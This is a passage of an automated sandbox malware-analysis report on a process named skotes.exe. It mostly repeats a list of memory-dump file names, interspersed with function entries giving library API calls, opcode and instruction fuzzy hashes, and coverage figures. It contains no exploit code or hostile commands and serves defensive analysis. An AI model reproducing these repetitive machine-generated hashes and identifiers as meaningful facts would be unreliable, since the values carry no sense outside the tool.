Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dc65044731723ba60129ae7c4a9e39abe69f531735de6606349f8a02eed4d3bb
Instruction ID: 11502a202275b7b8070a61e3d5a7a3a4a322efe3d5604d88093833ba1aeb7eb5
Opcode Fuzzy Hash: dc65044731723ba60129ae7c4a9e39abe69f531735de6606349f8a02eed4d3bb
Instruction Fuzzy Hash: 10F02E32605D3576FB216A72BC01A9B375BDF817B0F158025FD04EB291DE28DC008DE0

Non-executed Functions

Function 0062CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0062CC66

Strings

vb, xrefs: 0062CBE1

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vb
API String ID: 3213747228-1055410840
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 21abd1d42bf84a7feb39b7d9fac04e2b448b4c2b7210a99b93aa91345aa72b4b
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 7AB15832A00A659FDB15CF28D841BFEBBE6EF45360F15816AE844EB342D6349D02CF94

Function 005F2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005F2F5F
__Mtx_unlock.LIBCPMT ref: 005F2FCC
__Cnd_broadcast.LIBCPMT ref: 005F2FE3
__Mtx_unlock.LIBCPMT ref: 005F30F5
__Mtx_unlock.LIBCPMT ref: 005F319B

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction ID: 10777561a897b31d9a7c79c4be1738e809e477d6fdfbe042f2636759ee1de91b
Opcode Fuzzy Hash: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction Fuzzy Hash: 0AA1E7B09416099FEB24DF64C845B6BBBB9FF15324F04422EE915D7281EB39DA04CBD1

Function 0060BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0060BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BBE4
_xtime_get.LIBCPMT ref: 0060BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BC13

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction ID: cda47d63e1a8c6ec73fb5afb9e2ce7f9aa5fcc926613e40d54cd5fe4acb82b3a
Opcode Fuzzy Hash: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction Fuzzy Hash: C5215175A40119AFDF04EFA4CC819BFB7BAEF09720F105119FA01B7291DB719D019BA5

Function 0062F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0062F3A3

Strings

`'e, xrefs: 0062F375
8"e, xrefs: 0062F44B

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"e$`'e
API String ID: 3903695350-2647440560
Opcode ID: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction ID: 9ba7bb5b750b6cd6846220f86bdefed634325c7d7abfe799aea1448b86e91c4a
Opcode Fuzzy Hash: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction Fuzzy Hash: 8F315B31600A21DFEB71AB79E845B9B77FAEF00352F10483DE845D6696DEB0AC808F55

Analysis Process: skotes.exePID: 2272, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	613
Total number of Limit Nodes:	4

Executed Functions

Function 0062652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0062652A,?,?,?,?,?,00627661), ref: 00626567

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
